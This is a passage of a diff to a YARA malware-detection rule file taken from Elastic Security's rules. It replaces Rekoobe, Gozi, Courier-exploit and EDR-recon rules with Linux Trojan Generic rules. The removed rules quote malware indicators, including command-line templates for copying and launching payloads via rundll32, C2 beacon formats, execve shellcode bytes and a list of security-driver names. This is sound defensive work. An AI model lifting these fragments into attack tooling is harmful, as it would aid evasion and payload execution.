-		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
-		logic_hash = "9f271a16fe30fbf0c16533522b733228f19e0c44d173e4c0ef43bf13323e7383"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "32e25641360dbfd50125c43754cd327cf024f1b3bfd75b617cdf8a17024e2da5"
+		logic_hash = "9eb0d93b8c1a579ca8362d033edecbbe6a9ade82f6ae5688c183b97ed7b97faa"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "e4d78229c1877a023802d7d99eca48bffc55d986af436c8a1df7c6c4e5e435ba"
+		fingerprint = "d85dac2bd81925f5d8c90c11047c631c1046767cb6649cd266c3a143353b6c12"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78385,28 +82507,28 @@ rule ELASTIC_Linux_Cryptominer_Loudminer_851Fc7Aa : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 49 8B 45 00 4C 8B 40 08 49 8D 78 18 49 89 FA 49 29 D2 49 01 C2 4C }
+		$a = { 4A 4E 49 20 55 4E 50 41 43 4B 20 44 45 58 20 53 54 41 52 54 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_E75472Fa : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_703A0258 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "e75472fa-0263-4a47-a3bd-2d1bb14df177"
-		date = "2021-01-12"
+		id = "703a0258-8d28-483e-a679-21d9ef1917b4"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8d2a9e363752839a09001a9e3044ab7919daffd9d9aee42d936bc97394164a88"
-		logic_hash = "e3e9934ee8ce6933f676949c5b5c82ad044ac32f08fe86697b0a0cf7fb63fc5e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b086d0119042fc960fe540c23d0a274dd0fb6f3570607823895c9158d4f75974"
+		logic_hash = "cb37930637b8da91188d199ee20f1b64a0b1f13e966a99e69b983e623dac51de"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4e7605685ba7ba53afeafdef7e46bdca76109bd4d8b9116a93c301edeff606ee"
+		fingerprint = "796c2283eb14057081409800480b74ab684413f8f63a9db8704f5057026fb556"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78414,28 +82536,28 @@ rule ELASTIC_Linux_Trojan_Rekoobe_E75472Fa : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 00 00 83 F8 01 74 1F 89 D0 48 8B 4C 24 08 64 48 33 0C 25 28 00 }
+		$a = { C2 F7 89 76 7E 86 87 F6 2B A3 2C 94 61 36 BE B6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_52462Fe8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_378765E4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "52462fe8-a40c-4620-b539-d0c1f9d2ceee"
-		date = "2021-01-12"
+		id = "378765e4-c0f2-42ad-a42b-b992d3b866f4"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c1d8c64105caecbd90c6e19cf89301a4dc091c44ab108e780bdc8791a94caaad"
-		logic_hash = "1ab6979392eeaa7bd6bd84f8d3531bd9071c54b58306a42dcfdd27bf7ec8f8cd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ed42910e09e88777ae9958439d14176cb77271edf110053e1a29372fce21ec1"
+		logic_hash = "dd10305f553fa94ff83fafa84cff3d544f097b617fca20760eef838902e1f7db"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e09e8e023b3142610844bf7783c5472a32f63c77f9a46edc028e860da63e6eeb"
+		fingerprint = "60f259ba5ffe607b594c2744b9b30c35beab9683f4cd83c2e31556a387138923"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78443,28 +82565,28 @@ rule ELASTIC_Linux_Trojan_Rekoobe_52462Fe8 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 1C D8 48 8B 5A E8 4A 33 0C DE 48 89 4A E0 89 D9 C1 E9 18 48 8B }
+		$a = { E8 ?? FB FF FF 83 7D D4 00 79 0A B8 ?? 22 60 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_De9E7Bdf : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_F657Fb4F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "de9e7bdf-c515-4af8-957a-e489b7cb9716"
-		date = "2021-01-12"
+		id = "f657fb4f-a065-4d51-bead-fd28f8053418"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "447da7bee72c98c2202f1919561543e54ec1b9b67bd67e639b9fb6e42172d951"
-		logic_hash = "bdc4a3e4eeffc0d32e6a86dda54beceab8301d0065731d9ade390392ab4c6126"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ed42910e09e88777ae9958439d14176cb77271edf110053e1a29372fce21ec1"
+		logic_hash = "af4fa2c21b47f360b425ebbfea624e3728cd682e54e367d265b4f3a6515b0720"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ab3f0b9179a136f7c1df43234ba3635284663dee89f4e48d9dfc762fb762f0db"
+		fingerprint = "8c15d5e53b95002f569d63c91db7858c4ca8f26c441cb348a1b34f3b26d02468"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78472,28 +82594,28 @@ rule ELASTIC_Linux_Trojan_Rekoobe_De9E7Bdf : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F5 48 89 D6 48 C1 EE 18 40 0F B6 F6 48 33 2C F1 48 89 D6 48 C1 }
+		$a = { E8 ?? FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_B41F70C2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_Be1757Ef : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "b41f70c2-abe4-425a-952f-5e0c9e572a76"
+		id = "be1757ef-cf45-4c00-8d6c-dbb0f44f6efb"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19c1a54279be1710724fc75a112741575936fe70379d166effc557420da714cd"
-		logic_hash = "02de55c537da1cc03af26a171c768ad87984e45983c3739f90ad9983c70e7ccf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e4e2b5af9d0c72aae83cec57e5c091a95c549f826e8f13559aaf7d300f6e13"
+		logic_hash = "567d33c262e5f812c6a702bcc0a1f0cf576b67bf7cf67bb82b5f9ce9f233aaff"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "396fcb4333abe90f4c228d06c20eeff40f91e25fde312cc7760d999da0aa1027"
+		fingerprint = "0af6b01197b63259d9ecbc24f95b183abe7c60e3bf37ca6ac1b9bc25696aae77"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78501,28 +82623,28 @@ rule ELASTIC_Linux_Trojan_Rekoobe_B41F70C2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E2 10 4D 31 D1 0F B6 D6 48 8B 14 D1 48 C1 E2 08 4C 31 CA 48 89 }
+		$a = { 20 54 68 75 20 4D 61 72 20 31 20 31 34 3A 34 34 3A 30 38 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_1D307D7C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_7A95Ef79 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "1d307d7c-cc84-44e5-8fa0-eda9fffb3964"
+		id = "7a95ef79-3df5-4f7a-a8ba-00577473b288"
 		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00bc669f79b2903c5d9e6412050655486111647c646698f9a789e481a7c98662"
-		logic_hash = "de4807353d2ba977459a1bf7f51fd815e311c0bdc5fccd5e99fd44a766f6866f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f59340a740af8f7f4b96e3ea46d38dbe81f2b776820b6f53b7028119c5db4355"
+		logic_hash = "6da43e4bab6b2024b49dfc943f099fb21c06d8d4a082a05594b07cb55989183c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "11b1474dbdc376830bca50dbeea7f7f786c8a9b2ac51a139c4e06bed7c867121"
+		fingerprint = "aadec0fa964f94afb725a568dacf21e80b80d359cc5dfdd8d028aaece04c7012"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78530,28 +82652,28 @@ rule ELASTIC_Linux_Trojan_Rekoobe_1D307D7C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F8 01 75 56 83 7C 24 3C 10 75 1C BE ?? ?? 60 00 }
+		$a = { 1C 8B 54 24 20 8B 74 24 24 CD 80 5E 5A 59 5B C3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_7F7Aba78 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_1C5E42B7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "7f7aba78-6e64-41c4-a542-088a8270a941"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "1c5e42b7-b873-443e-a30c-66a75fc39b21"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "50b73742726b0b7e00856e288e758412c74371ea2f0eaf75b957d73dfb396fd7"
-		logic_hash = "a3b46d29fa51dd6a911cb9cb0e67e9d57d3f3b6697dc8edcc4d82f09d9819a92"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b078a02963610475217682e6e1d6ae0b30935273ed98743e47cc2553fbfd068f"
+		logic_hash = "cd759b87a303fafb9461d0a73b6a6b3f468b1f3db0189ba0e584a629e5d78da1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "acb8f0fb7a7b0c5329afeadb70fc46ab72a7704cdeef64e7575fbf2c2dd3dbe2"
+		fingerprint = "b64284e1220ec9abc9b233e513020f8b486c76f91e4c3f2a0a6fb003330c2535"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78559,28 +82681,28 @@ rule ELASTIC_Linux_Trojan_Rekoobe_7F7Aba78 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F0 89 D0 31 D8 21 F0 31 D8 03 45 F0 89 CF C1 CF 1B 01 F8 C1 }
+		$a = { 89 C0 89 45 F4 83 7D F4 FF 75 1C 83 EC 0C 68 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rekoobe_Ab8Ba790 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_8Ca4B663 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "ab8ba790-d2dd-4756-af5c-6f78ba10c92d"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "8ca4b663-b282-4322-833a-4c0143f63634"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rekoobe.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2aee0c74d9642ffab1f313179c26400acf60d7cbd2188bade28534d403f468d4"
-		logic_hash = "2a7a71712ad3f756a2dc53ec80bd9fb625f7c679fd9566945ebfeb392b9874a9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ddf479e504867dfa27a2f23809e6255089fa0e2e7dcf31b6ce7d08f8d88947e"
+		logic_hash = "43b8cae2075f55a98b226f865d54e1c96345db0564815d849b3458d3f3ffee7f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "decdd02a583562380eda405dcb892d38558eb868743ebc44be592f4ae95b5971"
+		fingerprint = "34e04e32ee493643cc37ff0cfb94dcbc91202f651bc2560e9c259b53a9d6acfc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78588,107 +82710,86 @@ rule ELASTIC_Linux_Trojan_Rekoobe_Ab8Ba790 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { DB F9 66 0F 71 D1 08 66 0F 67 DD 66 0F DB E3 66 0F 71 D3 08 66 0F }
+		$a = { 28 60 DF F2 FB B7 E7 EB 96 D1 E6 96 88 12 96 EB 8C 94 EB C7 4E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Gozi_Fd494041 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_D3Fe3Fae : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Gozi (Windows.Trojan.Gozi)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "fd494041-3fe8-4ffa-9ab8-6798032f1d66"
-		date = "2021-03-22"
-		modified = "2021-08-23"
+		id = "d3fe3fae-f7ec-48d5-8b17-9ab11a5b689f"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Gozi.yar#L1-L32"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237"
-		logic_hash = "fdd18817e7377f1b4006d3bf135d924b8ead62a461ea56f57157b2856ba6846b"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2a2542142adb05bff753e0652e119c1d49232d61c49134f13192425653332dc3"
+		logic_hash = "0b980a0bcf8340410fe2b53d109f629c6e871ebe82af467153d7b50b73fd8644"
+		score = 60
+		quality = 43
 		tags = "FILE, MEMORY"
-		fingerprint = "faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2"
+		fingerprint = "1773a3e22cb44fe0b3e68d343a92939a955027e735c60b48cf3b7312ce3a6415"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "/C ping localhost -n %u && del \"%s\"" wide fullword
-		$a2 = "/C \"copy \"%s\" \"%s\" /y && \"%s\" \"%s\"" wide fullword
-		$a3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" wide fullword
-		$a4 = "ASCII.GetString(( gp \"%S:\\%S\").%s))',0,0)" wide
-		$a5 = "filename=\"%.4u.%lu\""
-		$a6 = "Urundll32 \"%s\",%S" wide fullword
-		$a7 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s" ascii fullword
-		$a8 = "%08X-%04X-%04X-%04X-%08X%04X" ascii fullword
-		$a9 = "&whoami=%s" ascii fullword
-		$a10 = "%u.%u_%u_%u_x%u" ascii fullword
-		$a11 = "size=%u&hash=0x%08x" ascii fullword
-		$a12 = "&uptime=%u" ascii fullword
-		$a13 = "%systemroot%\\system32\\c_1252.nls" ascii fullword
-		$a14 = "IE10RunOnceLastShown_TIMESTAMP" ascii fullword
+		$a = { 47 53 45 54 2C 20 70 69 64 2C 20 4E 54 5F 50 52 53 54 41 54 }
 
 	condition:
-		8 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Gozi_261F5Ac5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_5E981634 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Gozi (Windows.Trojan.Gozi)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "261f5ac5-7800-4580-ac37-80b71c47c270"
-		date = "2019-08-02"
-		modified = "2021-08-23"
+		id = "5e981634-e34e-4943-bf8f-86cfd9fffc85"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Gozi.yar#L34-L60"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f"
-		logic_hash = "23a7427e162e2f77ee0a281fe4bc54eab29a3bdca8e51015147e8eb223e7e2f7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L221-L239"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "448e8d71e335cabf5c4e9e8d2d31e6b52f620dbf408d8cc9a6232a81c051441b"
+		logic_hash = "4623c07a15588788ec8a484642a33f2d18127849302d57520a0dac875564f62c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c"
+		fingerprint = "57f1e8fa41f6577f41a73e3460ef0c6c5b0a65567ae0962b080dfc8ab18364f5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
-		$a2 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
-		$a3 = "Content-Disposition: form-data; name=\"upload_file\"; filename=\"%.4u.%lu\""
-		$a4 = "&tor=1"
-		$a5 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)"
-		$a6 = "http://constitution.org/usdeclar.txt"
-		$a7 = "grabs="
-		$a8 = "CHROME.DLL"
-		$a9 = "Software\\AppDataLow\\Software\\Microsoft\\"
+		$a = { 74 1D 8B 44 24 68 89 84 24 A4 00 00 00 8B 44 24 6C 89 84 24 A8 00 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Courier_190258Dd : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_D8953Ca0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Courier (Linux.Exploit.Courier)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "190258dd-1384-4144-aa05-7957ca0b464b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "d8953ca0-f1f1-4d76-8c80-06f16998ba03"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Courier.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "349866d0fb81d07a35b53eac6f11176721629bbd692526851e483eaa83d690c3"
-		logic_hash = "c318d78a11a021334c84a21db2be6d7df57440a1f3ad6feaaff9cc95ebf6f716"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L241-L259"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "552753661c3cc7b3a4326721789808482a4591cb662bc813ee50d95f101a3501"
+		logic_hash = "cbc1a60a1d9525f7230336dff07f56e6a0b99e7c70c99d3f4363c06ed0071716"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ba94b87847a76df80200d40383d2d289dc463faa609237dbc43f317db45074d"
+		fingerprint = "16ab55f99be8ed2a47618978a335a8c68369563c0a4d0a7ff716b5d4c9e0785c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -78696,162 +82797,86 @@ rule ELASTIC_Linux_Exploit_Courier_190258Dd : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E3 31 C0 50 54 53 50 B0 3B CD 80 31 C0 B0 01 CD }
+		$a = { 5B 9C 9C 9C 9C 5C 5D 5E 5F 9C 9C 9C 9C B1 B2 B3 B4 9C 9C 9C 9C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Edrrecon_69453Aff : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Generic_181054Af : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Edrrecon (Windows.Hacktool.EDRrecon)"
+		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "69453aff-1427-4aae-b1f3-7cce9c93342c"
-		date = "2024-03-07"
-		modified = "2024-06-10"
+		id = "181054af-dc05-4981-8a57-ea17ffd6241f"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_EDRrecon.yar#L1-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f62e51b2405c0d42c53ff1f560376ef0530ba2eea1c97e18f2a3cf148346bcd1"
-		logic_hash = "3d0f6dc5d47a3c0957a7aa8d2918fee113d079d7d74f37a1c17c5429034ba41f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Generic.yar#L261-L279"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e677f1eed0dbb4c680549e0bf86d92b0a28a85c6d571417baaba0d0719da5f93"
+		logic_hash = "e92807b603dd33fe7a083985644a213913a77e81c068623fdac7931148207b91"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f10758ed032a0f7da0d983839beb12f79fba764aa4ffa0f3716dbfc2e8a3ea82"
+		fingerprint = "8ef033ac0fccd10cdf2e66446461b7c8b29574e5869440a1972dbe4bb5fbed89"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s01 = "WdFilter.sys" ascii wide fullword
-		$s02 = "mpFilter.sys" ascii wide fullword
-		$s03 = "SRTSP.sys" ascii wide fullword
-		$s04 = "eeCtrl.sys" ascii wide fullword
-		$s05 = "360AvFlt.sys" ascii wide fullword
-		$s06 = "360fsflt.sys" ascii wide fullword
-		$s07 = "esensor.sys" ascii wide fullword
-		$s09 = "klflt.sys" ascii wide fullword
-		$s10 = "klam.sys" ascii wide fullword
-		$s11 = "SysmonDrv.sys" ascii wide fullword
-		$s12 = "CarbonBlackK.sys" ascii wide fullword
-		$s13 = "edrsensor.sys" ascii wide fullword
-		$s14 = "naswSP.sys" ascii wide fullword
-		$s15 = "symevnt.sys" ascii wide fullword
-		$s16 = "symevnt32.sys" ascii wide fullword
-		$s17 = "CyProtectDrv" ascii wide fullword
-		$s18 = "mfeaskm.sys" ascii wide fullword
-		$s19 = "SentinelMonitor.sys" ascii wide fullword
-		$s20 = "sentinelelam.sys" ascii wide fullword
-		$s21 = "SophosSupport.sys" ascii wide fullword
-		$s22 = "CSDeviceControl.sys" ascii wide fullword
